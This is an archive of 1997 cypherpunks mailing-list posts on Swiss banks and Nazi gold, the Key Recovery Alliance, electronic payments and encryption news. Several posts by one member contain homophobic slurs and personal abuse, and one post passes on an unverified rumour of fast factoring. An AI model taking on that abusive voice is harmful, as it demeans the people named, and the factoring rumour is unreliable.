Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: If at first you don't succeed, work for Microsoft.

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From whgiii at amaranth.com  Wed May  7 20:02:32 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Thu, 8 May 1997 11:02:32 +0800
Subject: Banking Secrecy and Nazi Gold
In-Reply-To: <199705080050.TAA00821@manifold.algebra.com>
Message-ID: <199705080238.VAA09065@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In <199705080050.TAA00821 at manifold.algebra.com>, on 05/07/97 at 06:50 PM,
   ichudov at algebra.com (Igor Chudov @ home) said:


>Tim May wrote:
>> I try to deconstruct events, to determine what the real issues are.
>> 
>> Take the case of the ongoing flap over Switzerland and claims that Swiss
>> banks hid gold, jewels, and other forms of money for high-ranking Nazis.
>> Adding to the flap--actually, making it a newsworthy event--is the
>> allegation, probably true, that some of the gold was taken from Jews and
>> others sent to extermination camps.

>... snip ...

>> OK, so it's clear to all right-thinking persons what should be done:
>> Switzerland should return the money to the heirs of those killed by the
>> Nazis.
>> 
>> Ah, but it's not so clear to me. I guess I'm not a right-thinking person.

>According to americal common law, as I understand it, no one can get a
>valid title to the property from someone who did not have such title.

>E.g., if you steal Vulis's car and then sell it to me, I will not have the
>title to the car and will have to return it back to Vulis (and may be able
>to try to recover my loss from you). The same will be true if you lend the
>stolen car to me -- he can get it back if he proves that it is his.

>I find that reasoning to be quite good.

>Lending stolen money (or stolen golden teeth) to banks is no different
>than lending stolen cars.

>American law does not have to apply to Switzerland, but I find that 
>particular part of it to be just. The issue, of course, is coming up with
>the proof.

>I will appreciate if someone could correct me.

It is an intresting approach to justify current action agains the Swiss
Banks. If you could prove that the Swiss received stolen property what
about the "statute of limitations"? Most US crimes require that they be
prosecuted within x # of years ( I think that theft is 7yrs. ). Considering
that this all happened over 50yrs and AFAIK no capital crimes have been
commited by the swiss banks even if they are "guilty" of receiving stolen
property I can hardly see how they can be held accountable now.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows: The CP/M of the future!

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From ichudov at algebra.com  Wed May  7 20:04:40 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Thu, 8 May 1997 11:04:40 +0800
Subject: Banking Secrecy and Nazi Gold
In-Reply-To: <199705080238.VAA09065@mailhub.amaranth.com>
Message-ID: <199705080257.VAA11981@manifold.algebra.com>


William H. Geiger III wrote:
>    ichudov at algebra.com (Igor Chudov @ home) said:
> >Tim May wrote:
> >> I try to deconstruct events, to determine what the real issues are.
> >> 
> >> Take the case of the ongoing flap over Switzerland and claims that Swiss
> >> banks hid gold, jewels, and other forms of money for high-ranking Nazis.
> >> Adding to the flap--actually, making it a newsworthy event--is the
> >> allegation, probably true, that some of the gold was taken from Jews and
> >> others sent to extermination camps.
> 
> >... snip ...
> 
> >> OK, so it's clear to all right-thinking persons what should be done:
> >> Switzerland should return the money to the heirs of those killed by the
> >> Nazis.
> >> 
> >> Ah, but it's not so clear to me. I guess I'm not a right-thinking person.
> 
> >According to americal common law, as I understand it, no one can get a
> >valid title to the property from someone who did not have such title.
> 
> >E.g., if you steal Vulis's car and then sell it to me, I will not have the
> >title to the car and will have to return it back to Vulis (and may be able
> >to try to recover my loss from you). The same will be true if you lend the
> >stolen car to me -- he can get it back if he proves that it is his.
> 
> >I find that reasoning to be quite good.
> 
> >Lending stolen money (or stolen golden teeth) to banks is no different
> >than lending stolen cars.
> 
> >American law does not have to apply to Switzerland, but I find that 
> >particular part of it to be just. The issue, of course, is coming up with
> >the proof.
> 
> >I will appreciate if someone could correct me.
> 
> It is an intresting approach to justify current action agains the Swiss
> Banks. If you could prove that the Swiss received stolen property what
> about the "statute of limitations"? Most US crimes require that they be
> prosecuted within x # of years ( I think that theft is 7yrs. ). Considering
> that this all happened over 50yrs and AFAIK no capital crimes have been
> commited by the swiss banks even if they are "guilty" of receiving stolen
> property I can hardly see how they can be held accountable now.

The Swiss banks did not commit any crimes, or at least I do not see any
crimes having been committed. They simply (in my view, if the cold facts
are true and convincing) are in possession of stolen property, which has
to be returned to their owner or their owners' estates or something like
that.

It is, like, if I buy a stolen car, as long as I was not aware or any
impropriety, I cannot be prosecuted (is that correct?). But the owner 
can take my car back regardless of how long I had it. It is not intended
to be a punishment, but rather a restoration of the original ownership.

This principle, among other things, seeks to discourage people from buying
stolen goods.

Again, please correct me if I am mistaken.

	- Igor.






From dlv at bwalk.dm.com  Wed May  7 20:06:49 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 8 May 1997 11:06:49 +0800
Subject: Igor's Diabolical Mind
In-Reply-To: <199705072327.QAA09304@fat.doobie.com>
Message-ID: 


nobody at huge.cajones.com (Huge Cajones Remailer) writes:
>   (I am blessed with breasts which allow me to set a man's car on
> fire and know he will just smile, and say, "That's OK, I'll get
> another one.")

Unless it's a faggot like the Lying Cocksucker John Gilmore[tm]

> that it won't occur again and moving on. (Much like some of the
> hilarious posts in the cypherpunks archives in which a list
> member responds to a Vulis post by saying, "Just ignore him
> and he'll go away." and then proceed to take two or three
> pot-shots at him.)

Yes - homosexuality is a mental defect that expresses itself in many
ways - not just limited to sexual perversions and net.censorship.

> (.)(.)Monger

Nice tits!!!!1!1!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From shamrock at netcom.com  Wed May  7 20:14:44 1997
From: shamrock at netcom.com (Lucky Green)
Date: Thu, 8 May 1997 11:14:44 +0800
Subject: List of GAK supporters
Message-ID: 


Below is a list of the members of the "Key Recovery Alliance" who are 
working hard to make the world safe for GAK. I intend to boycott them, 
though that may not be possible, since the "Allicance" seems to include just 
about anybody in the computer industy. It is sickening.

 

Baltimore Technologies nCipher Corp. Boeing NEC
     Cryptomathic Portland Software GemPlus RedCreek
     Communications Frontier Technologies Corp. RPK Fujitsu
     Ltd. Silicon Graphics, Inc. Hitachi Spyrus Open Horizon, Inc.
     Sterling Commerce Intel Tandem IRE Technical
     Communications Corp. Mitsubishi Electric America Toshiba 
America Online, Inc. Mytec Technologies, Inc. Apple
     Computer, Inc. NCR Corp. Atalla Network Systems Group
     of StorageTek Certicom Novell, Inc. Compaq Computer
     Corp. PSA CygnaCom Solutions, Inc. Price Waterhouse
     Cylink Corp. Racal Data Group Data Securities International
     Inc. Rainbow Technologies First Data Corp. RSA Digital
     Equipment Corp. SafeNet Trusted Services Corp. Digital
     Signature Trust Company Secure Computing Corp. Entrust
     Technologies SourceFile Gradient Technologies, Inc. Sterling
     Commerce Groupe Bull Sun Microsystems, Inc.
     Hewlett-Packard Trusted Information Systems, Inc. IBM
     Unisys ICL UPS McAfee Utimaco Mergent Mitsubishi
     Corporation of Japan VPNet Technologies Motorola 


-- Lucky Green  PGP encrypted mail preferred






From whgiii at amaranth.com  Wed May  7 20:17:59 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Thu, 8 May 1997 11:17:59 +0800
Subject: (fwd) Elctronic Funds Transfer Expansion Act
In-Reply-To: <199705072216.SAA25634@yakko.cs.wmich.edu>
Message-ID: <199705080304.WAA09423@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In <199705072216.SAA25634 at yakko.cs.wmich.edu>, on 05/07/97 at 04:16 PM,
   Damaged Justice  said:


>>From Post Office Credit Union' _Credit Union Post_, Spring 1997:

>Congress recently passed a law making it mandatory to receive government
>payments by direct deposit to a financial institution. It's called
>"Electronic Funds Transfer Expansion Act," and it requires all federal
>payments, except an IRS refund check to be issued by electronic funds
>transfer (Direct Deposit).

This is nothing new. They did this to the Military Payroll back in the mid
1980's. Most if not all civilian Fed workers are already receiving DD
payments.

Their has been a long time desire by the Feds to move us to a cashless
society. No checks, No cash, no coins all electronic transfers. This is
just one more step in that direction.

While from an economic standpoint there are many reason to do this as it is
much cheaper to move bits than to move pieces of wood pulp. From a
security/privacy standpoint there are just as many reasons *not* to do
this. Smart Cards, Debit Cards, Credit Cards, ... et al. will not support
anonymous transactions. The current power brokers will not give up control
of the money regardless of what form it takes.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: I went window shopping...and bought OS/2!

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From dlv at bwalk.dm.com  Wed May  7 20:26:24 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 8 May 1997 11:26:24 +0800
Subject: Custom programming, Web site design & development, and more.
In-Reply-To: <199705080051.TAA00842@manifold.algebra.com>
Message-ID: <1a8c7D43w165w@bwalk.dm.com>


ichudov at algebra.com (Igor Chudov @ home) writes:

> does he still sell zeros?
>

He's diversified into selling bulk e-mail software.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Wed May  7 20:28:33 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 8 May 1997 11:28:33 +0800
Subject: IBM's New Algo
In-Reply-To: <199705080041.TAA00687@manifold.algebra.com>
Message-ID: 


ichudov at algebra.com (Igor Chudov @ home) writes:

> Dr.Dimitri Vulis KOTM wrote:
> > John Young  writes:
> > >    The New York Times, May 7, 1997, p. D5.
> > >    I.B.M. Researchers Develop A New Encryption Formula
> > >    The system is based on a problem that has defied solution
> > >    by mathematicians for 150 years, I.B.M. said.
> >
> > I had an interesting conversation a few weeks ago with a friend who has
> > a closed-form solution to a well-known problem that's been unsolved for
> > about that long.  He has no intention of publishing it, but he has already
> > made quite a bit of $$$ on it. :-)
> >
> > I've known the guy for a number of years and it's not the first time he get
> > a good result and makes money on it instead of yet another paper in a
> > refereed journal.  In general, lots more is known to some people than is
> > published. E.g. it's possible that some of stuff I did for my Ph.D. thesis
> > was done by the British crypto people but never made it to the open literat
> >
> > >    Mr. Schneier said that the cryptographic formulas now in
> > >    use were already robust enough. The biggest challenge, he
> > >    said, is creating security systems in the real world that
> > >    are not vulnerable to hackers.
> > >
> > >    "Cryptography is a lot more than math" he said.
> >
> > Let me get this straight - Schneier claims that factoring is secure now and
> > will remain secure in the future?
>
> Let me get this straight -- did your friend discover a closed form
> solution to the factoring problem?

Nope, the guy I had in mind solved something else which to me was about
as interesting.

But yes, I also heard via a grapevine that "a friend of a friend" claims to
have found a trick for factoring a product of 2 arbitrarily large primes
(hundreds of decimal digits) very quickly ("minutes on a PC"). I don't
believe in reputations in general, but his is such that this may be true.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Wed May  7 20:29:50 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 8 May 1997 11:29:50 +0800
Subject: Banking Secrecy and Nazi Gold
In-Reply-To: <199705080050.TAA00821@manifold.algebra.com>
Message-ID: <8D8c7D44w165w@bwalk.dm.com>


ichudov at algebra.com (Igor Chudov @ home) writes:
> E.g., if you steal Vulis's car and then sell it to me, I will not have
> the title to the car and will have to return it back to Vulis (and may
> be able to try to recover my loss from you). The same will be true if
> you lend the stolen car to me -- he can get it back if he proves that it
> is his.

Timmy C"you know what" May is a car thief too?????????????

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From roy at sendai.scytale.com  Wed May  7 20:45:45 1997
From: roy at sendai.scytale.com (Roy M. Silvernail)
Date: Thu, 8 May 1997 11:45:45 +0800
Subject: airlines_2.html
In-Reply-To: <199705071055.GAA29130@linux.nycmetro.com>
Message-ID: <970507.174733.0L8.rnr.w165w@sendai.scytale.com>


-----BEGIN PGP SIGNED MESSAGE-----

>    Tuesday May 6 11:33 PM EDT 
>    
> Airlines Step Up Baggage Security Measures

Denial of service attack, anyone?  How many missed connections would be
required to paralyze the major air routes in the US?
- -- 
           Roy M. Silvernail     [ ]     roy at scytale.com
DNRC Minister Plenipotentiary of All Things Confusing, Software Division
PGP Public Key fingerprint =  31 86 EC B9 DB 76 A7 54  13 0B 6A 6B CC 09 18 B6
                 Key available from pubkey at scytale.com
            I charge to process unsolicited commercial email

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From frantz at netcom.com  Wed May  7 21:34:18 1997
From: frantz at netcom.com (Bill Frantz)
Date: Thu, 8 May 1997 12:34:18 +0800
Subject: Spam Update/Cyber Promo attacked
In-Reply-To: 
Message-ID: 


At 10:39 AM -0700 5/7/97, Robert Hettinga forwarded:
>The hackers have devised
>a system which sends millions of random "arp" requests to a router, which
>can disable the whole network for hours. This type of attack has never
>occurred before.

It is quite obvious to anyone who cares to give it even a moment's thought
that the currently installed Internet Protocols are still in the age of
cooperative communicators.  While some work, e.g. DNSSEC, has addressed
part of this problem, the bulk of it remains.

Now, if we could only go back 30 years and give C a reasonable string
model, we might be able to eliminate 50% of the known holes in Unix
security.


-------------------------------------------------------------------------
Bill Frantz       | God could make the world   | Periwinkle -- Consulting
(408)356-8506     | in six days because he did | 16345 Englewood Ave.
frantz at netcom.com | not have an installed base.| Los Gatos, CA 95032, USA







From mclow at owl.csusm.edu  Wed May  7 21:47:44 1997
From: mclow at owl.csusm.edu (Marshall Clow)
Date: Thu, 8 May 1997 12:47:44 +0800
Subject: List of GAK supporters
In-Reply-To: 
Message-ID: 


Lucky Green wrote:
>Below is a list of the members of the "Key Recovery Alliance" who are
>working hard to make the world safe for GAK. I intend to boycott them,
>though that may not be possible, since the "Allicance" seems to include just
>about anybody in the computer industy. It is sickening.
>
>
>Baltimore Technologies nCipher Corp. Boeing NEC
>     Cryptomathic Portland Software GemPlus RedCreek
>     Communications Frontier Technologies Corp. RPK Fujitsu
>     Ltd. Silicon Graphics, Inc. Hitachi Spyrus Open Horizon, Inc.
>     Sterling Commerce Intel Tandem IRE Technical
>     Communications Corp. Mitsubishi Electric America Toshiba
>America Online, Inc. Mytec Technologies, Inc. Apple
>     Computer, Inc. NCR Corp. Atalla Network Systems Group
>     of StorageTek Certicom Novell, Inc. Compaq Computer
>     Corp. PSA CygnaCom Solutions, Inc. Price Waterhouse
>     Cylink Corp. Racal Data Group Data Securities International
>     Inc. Rainbow Technologies First Data Corp. RSA Digital
>     Equipment Corp. SafeNet Trusted Services Corp. Digital
>     Signature Trust Company Secure Computing Corp. Entrust
>     Technologies SourceFile Gradient Technologies, Inc. Sterling
>     Commerce Groupe Bull Sun Microsystems, Inc.
>     Hewlett-Packard Trusted Information Systems, Inc. IBM
>     Unisys ICL UPS McAfee Utimaco Mergent Mitsubishi
>     Corporation of Japan VPNet Technologies Motorola
>
I wonder how many of these companies signed up
"just to appear on the list".

Apple, as far as I know, has no GAK project in place.
In fact, as far as I know, the last GAK-related action
that anyone at Apple has participated, was to participate in
the original press release.

This is not meant as a defense of Apple. I have discussed
their support of this organization with senior management there,
and tried to convince them of the errors of their ways. Rather,
it is a comment on their current activities regarding GAK.

Apple also happens to be the one company on that list that
I have non-public knowledge of.


-- Marshall

Marshall Clow     Aladdin Systems   

"In Washington DC, officials from the White House, federal agencies and
Congress say regulations may be necessary to promote a free-market
system." --  CommunicationsWeek International April 21, 1997







From shamrock at netcom.com  Wed May  7 22:00:57 1997
From: shamrock at netcom.com (Lucky Green)
Date: Thu, 8 May 1997 13:00:57 +0800
Subject: List of GAK supporters
Message-ID: <3.0.32.19970507215109.006ac2a8@netcom13.netcom.com>


At 09:37 PM 5/7/97 -0700, Marshall Clow wrote:
>Apple, as far as I know, has no GAK project in place.
>In fact, as far as I know, the last GAK-related action
>that anyone at Apple has participated, was to participate in
>the original press release.

Which was a big mistake. I know I complained loudly to them. I suspect
others did as well.

>This is not meant as a defense of Apple. I have discussed
>their support of this organization with senior management there,
>and tried to convince them of the errors of their ways. Rather,
>it is a comment on their current activities regarding GAK.

Do you feel you had success in discussing this issue with them?

Thanks,


-- Lucky Green  PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi






From AGRAPA at banamex.com  Wed May  7 22:15:47 1997
From: AGRAPA at banamex.com (ARTURO GRAPA YSUNZA)
Date: Thu, 8 May 1997 13:15:47 +0800
Subject: List of GAK supporters
Message-ID: 



I was surprised not to see Netscape or Microsoft on the list.

Anybody know the URL of a web site that publishes and regularly updates
this list?

 ----------
From: Lucky Green
To: ARTURO GRAPA YSUNZA; cypherpunks at algebra.com
Subject: List of GAK supporters
Date: Wednesday, May 07, 1997 11:04PM

Microsoft Mail v3.0 IPM.Microsoft Mail.Note
De: Lucky Green
Para:  ARTURO GRAPA YSUNZA
     cypherpunks at algebra.com
Asunto:  List of GAK supporters
Fecha: 1997-05-07 23:04
Prioridad: 3
Ident. del mensaje: A9BE1E3B71C6D011AF95006097838CEB

 -----------------------------------------------------------------------
----- --

Below is a list of the members of the "Key Recovery Alliance" who are
working hard to make the world safe for GAK. I intend to boycott them,
though that may not be possible, since the "Allicance" seems to include
just
about anybody in the computer industy. It is sickening.



Baltimore Technologies nCipher Corp. Boeing NEC
     Cryptomathic Portland Software GemPlus RedCreek
     Communications Frontier Technologies Corp. RPK Fujitsu
     Ltd. Silicon Graphics, Inc. Hitachi Spyrus Open Horizon, Inc.
     Sterling Commerce Intel Tandem IRE Technical
     Communications Corp. Mitsubishi Electric America Toshiba
America Online, Inc. Mytec Technologies, Inc. Apple
     Computer, Inc. NCR Corp. Atalla Network Systems Group
     of StorageTek Certicom Novell, Inc. Compaq Computer
     Corp. PSA CygnaCom Solutions, Inc. Price Waterhouse
     Cylink Corp. Racal Data Group Data Securities International
     Inc. Rainbow Technologies First Data Corp. RSA Digital
     Equipment Corp. SafeNet Trusted Services Corp. Digital
     Signature Trust Company Secure Computing Corp. Entrust
     Technologies SourceFile Gradient Technologies, Inc. Sterling
     Commerce Groupe Bull Sun Microsystems, Inc.
     Hewlett-Packard Trusted Information Systems, Inc. IBM
     Unisys ICL UPS McAfee Utimaco Mergent Mitsubishi
     Corporation of Japan VPNet Technologies Motorola


 -- Lucky Green  PGP encrypted mail
preferred






From shamrock at netcom.com  Wed May  7 22:17:40 1997
From: shamrock at netcom.com (Lucky Green)
Date: Thu, 8 May 1997 13:17:40 +0800
Subject: Spam Update/Cyber Promo attacked
Message-ID: <3.0.32.19970507220052.0073faa8@netcom13.netcom.com>


At 08:35 PM 5/7/97 -0700, Bill Frantz wrote:
>Now, if we could only go back 30 years and give C a reasonable string
>model, we might be able to eliminate 50% of the known holes in Unix
>security.

Though shalt not use static size buffers for variable length data. [I don't
need to tell this to Bill and many others on this list. The rest better
chisel it in granite. :-]



-- Lucky Green  PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi






From frissell at panix.com  Wed May  7 22:31:54 1997
From: frissell at panix.com (frissell at panix.com)
Date: Thu, 8 May 1997 13:31:54 +0800
Subject: Banking Secrecy and Nazi Gold
In-Reply-To: 
Message-ID: <3.0.1.32.19970508001526.027646a4@panix.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 07:50 PM 5/7/97 -0500, Igor Chudov @ home wrote:
>According to americal common law, as I understand it, no one can get
>a valid title to the property from someone who did not have such title.
>
>E.g., if you steal Vulis's car and then sell it to me, I will not have
>the title to the car and will have to return it back to Vulis (and may
>be able to try to recover my loss from you). The same will be true if
>you lend the stolen car to me -- he can get it back if he proves that it
>is his.

The thief's ownership of personal property is good against the whole world
save the true owner. 

"18. In general, possession constitutes the criterion of title of 
personal property, because no other means exist by which a knowledge of the 
fact to whom it belongs can be attained. A seller of a chattel is not, 
therefore, required to show the origin of his title, nor, in general, is a 
purchaser, without notice of the claim of the owner, compellable to make 
restitution; but, it seems, that a purchaser from a tenant for life of 
personal chattels, will not be secure against the claims of those entitled 
in remainder. Cowp. 432; 1 Bro. C. C. 274; 2 T. R. 376; 3 Atk. 44; 3 V. & B. 
16."

http://www.constitution.org/bouv/bouviert.txt  (Bouvier Law Dictionary a fun
Net resource) 

In the case of money (including gold) and other fungible commodities it can
be very hard to determine who owns what once it is out of possession because
it all looks alike.

>Lending stolen money (or stolen golden teeth) to banks is no different
>than lending stolen cars.
>
>American law does not have to apply to Switzerland, but I find that 
>particular part of it to be just. The issue, of course, is coming up
>with the proof.

Most of the assets involved (by volume and value) were the property of
governments that had been conquered by Germany or property confiscated from
German citizens.  Unfortunately, German citizens (like American citizens) are
not protected by international law from predation by their own government. 
Private citizens of conquered countries would be protected but proof will be
hard.  

All of these issues were debated at length in 1946 and settled by the
Washington Agreement.  The U.S., Britain, and France sat on the gold that
Switzerland transferred to it for 50 years (in the basement of the FRB NYC)
parcelling it out in dribs and drabs mostly to the treasuries of the
conquered nations.  They still have a fair chunk of it  and are trying to
figure who to give it to.  I guess holding other people's gold is OK some of
the time.

Article II.2 of the Washing ton Agreement stipulated: 

"The Allied Governments declare on their part that, in accepting this amount,
they
waive in their name and in the name of their banks of issue all claims
against the
Government of Switzerland and the Swiss National Bank in connection with gold
acquired during the war from Germany by Switzerland. All questions relative
to such
gold will thus be regulated." 

Switzerland transferred appox 1,658,000 oz of gold to the Allies with a
current value of $568,750,000.

DCF


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From mclow at owl.csusm.edu  Wed May  7 23:25:34 1997
From: mclow at owl.csusm.edu (Marshall Clow)
Date: Thu, 8 May 1997 14:25:34 +0800
Subject: List of GAK supporters
In-Reply-To: <3.0.32.19970507215109.006ac2a8@netcom13.netcom.com>
Message-ID: 


At 9:51 PM -0700 5/7/97, Lucky Green wrote:
>At 09:37 PM 5/7/97 -0700, Marshall Clow wrote:
>>Apple, as far as I know, has no GAK project in place.
>>In fact, as far as I know, the last GAK-related action
>>that anyone at Apple has participated, was to participate in
>>the original press release.
>
>Which was a big mistake. I know I complained loudly to them. I suspect
>others did as well.
>
>>This is not meant as a defense of Apple. I have discussed
>>their support of this organization with senior management there,
>>and tried to convince them of the errors of their ways. Rather,
>>it is a comment on their current activities regarding GAK.
>
>Do you feel you had success in discussing this issue with them?
>
>Thanks,
>
>
No, I did not.

I feel that Apple's "lack of participation" is much more a preoccupation
with other matters (like losing $700M) rather than a stand on principle.

However, I suspect that if Apple management actually started work on
such a project (or were ready to begin seeding), there would be a lot of
opposition, both inside and outside Apple.

Martin, do you have any comment on this?

-- Marshall

Marshall Clow     Aladdin Systems   

"In Washington DC, officials from the White House, federal agencies and
Congress say regulations may be necessary to promote a free-market
system." --  CommunicationsWeek International April 21, 1997







From NOSPAM-geeman at best.com  Wed May  7 23:32:47 1997
From: NOSPAM-geeman at best.com (geeman)
Date: Thu, 8 May 1997 14:32:47 +0800
Subject: The Executive State
Message-ID: <3.0.32.19970507225557.0069d8f4@best.com>


YOU BET!
Similar thoughts went thru my mind as I drove by the Lake the other day.
Secret Service is involved in security preparations, somewhat because 
Gore will be there. 

God, the thought of all those marketing banalities!

At 11:33 AM 5/7/97 -0500, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>
>In <3.0.32.19970507081934.006bbe28 at best.com>, on 05/07/97 at 09:20 AM,
>   geeman  said:
>
>
>>Anyone doubting that the center of gravity of world power is shifting
>>would do well to ponder: 100 of the world's top CEO's are going to  Bill
>>Gates' house to hear him expound on what the future will look like.
>
>>IF that doesn't make you nervous nothing will.  It's at least as 
>>nervewracking as anything Clinton admin. might do.
>
>Hmmm... 100 top CEO's & Bill Gates all in one place.
>
>Makes one ponder the possibilities. :)
>
>- -- 
>- -----------------------------------------------------------
>William H. Geiger III  http://www.amaranth.com/~whgiii
>Geiger Consulting    Cooking With Warp 4.0
>
>Author of E-Secure - PGP Front End for MR/2 Ice
>PGP & MR/2 the only way for secure e-mail.
>                          
>Finger whgiii at amaranth.com for PGP Key and other info
>- -----------------------------------------------------------
> 
>Tag-O-Matic: I use OS/2 2.0 and I don't care who knows!
>
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>=MswY
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>
>
>






From AGRAPA at banamex.com  Wed May  7 23:46:20 1997
From: AGRAPA at banamex.com (ARTURO GRAPA YSUNZA)
Date: Thu, 8 May 1997 14:46:20 +0800
Subject: TV Documentary "Crypto Wars" ON AIR in J
Message-ID: 



Anybody got transcripts for this?

 ----------
From: Sh.Hanabusa
To: ARTURO GRAPA YSUNZA; cypherpunks at toad.com
Subject: TV Documentary "Crypto Wars" ON AIR in J
Date: Monday, April 28, 1997 5:12AM

Microsoft Mail v3.0 IPM.Microsoft Mail.Note
De: Sh.Hanabusa
Para:  ARTURO GRAPA YSUNZA
     cypherpunks at toad.com
Asunto:  TV Documentary "Crypto Wars" ON AIR in J
Fecha: 1997-04-28 05:12
Prioridad: 3
Ident. del mensaje: A3CAF0779BBDD011AF92006097838CEB

 -----------------------------------------------------------------------
----- --

TV Documentary "CRYPTO WARS" (60min)
On air at 8pm Apr 28th (only in Japan)

 ------------------------------------------
Cast;

Sameer Parekh / C2NET
Ian Goldberg
Tim May
Bill Stewart
Hugh Daniel
Vince Cate

Phil Zimmermann / PGP Inc.

Eric Schmidt / Sun Microsystems
Jeff Treuhaft / Netscape Communications

Stewart Baker
Dorothy Denning
William Reinsh / Commerce Dept.
 --------------------------------------------

Contents;

What is the cypherpunks?
RSA Conference
US Government's Export Controls
Ian Goldberg's 40bit RC5 crack
What is the NSA?
Feb. Cypherpunks Meeting at Stanford
PGP 1.0
Silicon Valley vs US Government
Strategy of the "C2 Net"
Discussion about "Key Recovery"
Financial Cryptography Conference in Anguilla

 ----------------------------------------------

Special thanks for your cooperations

   _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/
     Shuichiro Hanabusa (hanabusa at bnn-net.or.jp)
     Producer/ Special Programs
     NHK Enterprises 21 Inc.
     Location: Tokyo/ Japan
   _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/







From dlv at bwalk.dm.com  Thu May  8 00:14:54 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 8 May 1997 15:14:54 +0800
Subject: List of GAK supporters
In-Reply-To: 
Message-ID: 


Lucky Green  writes:

> Below is a list of the members of the "Key Recovery Alliance" who are
> working hard to make the world safe for GAK. I intend to boycott them,
> though that may not be possible, since the "Allicance" seems to include just
> about anybody in the computer industy. It is sickening.
>
>
> Baltimore Technologies nCipher Corp. Boeing NEC
>      Cryptomathic Portland Software GemPlus RedCreek
>      Communications Frontier Technologies Corp. RPK Fujitsu
>      Ltd. Silicon Graphics, Inc. Hitachi Spyrus Open Horizon, Inc.
>      Sterling Commerce Intel Tandem IRE Technical
>      Communications Corp. Mitsubishi Electric America Toshiba
> America Online, Inc. Mytec Technologies, Inc. Apple
>      Computer, Inc. NCR Corp. Atalla Network Systems Group
>      of StorageTek Certicom Novell, Inc. Compaq Computer
>      Corp. PSA CygnaCom Solutions, Inc. Price Waterhouse
>      Cylink Corp. Racal Data Group Data Securities International
>      Inc. Rainbow Technologies First Data Corp. RSA Digital
>      Equipment Corp. SafeNet Trusted Services Corp. Digital
>      Signature Trust Company Secure Computing Corp. Entrust
>      Technologies SourceFile Gradient Technologies, Inc. Sterling
>      Commerce Groupe Bull Sun Microsystems, Inc.
>      Hewlett-Packard Trusted Information Systems, Inc. IBM
>      Unisys ICL UPS McAfee Utimaco Mergent Mitsubishi
>      Corporation of Japan VPNet Technologies Motorola
>

Better them than C2Net or the cocksuckers at "Cygnus Support".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From nobody at huge.cajones.com  Thu May  8 00:18:53 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 8 May 1997 15:18:53 +0800
Subject: Banking Secrecy and Nazi Gold
Message-ID: <199705080652.XAA28596@fat.doobie.com>


Tim May wrote:
> 
> I try to deconstruct events, to determine what the real issues are.
> 
> Take the case of the ongoing flap over Switzerland and claims that Swiss
> banks hid gold, jewels, and other forms of money for high-ranking Nazis.
> Adding to the flap--actually, making it a newsworthy event--is the
> allegation, probably true, that some of the gold was taken from Jews and
> others sent to extermination camps.

  When I caught this on the news I immediately shifted my attention
to viewing the announcement from the perspective of the people 
involved not really giving a rat's ass about the Jews.
  What was left of the announcement once the banner of "mom's apple
pie and freedom and justice for all" was removed was a shallow 
justification of a mugging technique I call "extortion by guilt."
 
> the notion that "Switzerland must do something!" is pernicious and
> inimical to banking secrecy and basic privacy issues. A drumbeat is
> building which will serve to undermine banking secrecy around the world.

> I suspect the U.S. pressure on Swiss banks has a political dimension
> related to forcing a New World Order on international banking.
 > The clamor to break banking secrecy and
> "force" the banks to disclose all records is part of a larger political
> game.

  It's a muscle job designed to weaken the mark for the next level
of extortion. Today the Swiss are guilty of collusion in the 
holocaust and tomorrow they will be guilty of collusion with
drug dealers and pornographers. Only next time the Swiss will
fold their hand behind closed doors in order to save themselves
the global embarassment that has so sleazily been heaped on them.
 
{Somewhere deep in the bowels of D.C. there is someone working
late into the night in an attempt to link the holocaust to 
cryptography.
Headline: DEATH CAMP TATTOOS PROVEN TO BE EARLY FORM OF 
                   128 BIT ENCRYPTION
}

  What I find frightening is a sudden rise of obvious power plays
